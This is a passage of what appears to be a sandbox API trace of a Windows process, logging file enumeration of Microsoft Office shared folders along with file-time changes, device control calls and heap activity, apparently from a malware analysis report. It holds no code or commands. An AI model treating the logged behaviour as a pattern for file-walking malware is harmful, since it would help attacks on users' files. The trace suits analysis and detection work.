nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0235.455] GetLastError () returned 0x12 [0235.455] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0235.456] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.456] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.456] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0235.512] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.512] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.512] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.512] NtClose (Handle=0x1b8) returned 0x0 [0235.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.513] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0235.574] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9049b8 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9062a8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9049d8 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9063b0 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9049f8 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9064b8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.576] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0235.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.576] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904a18 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9065c0 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, 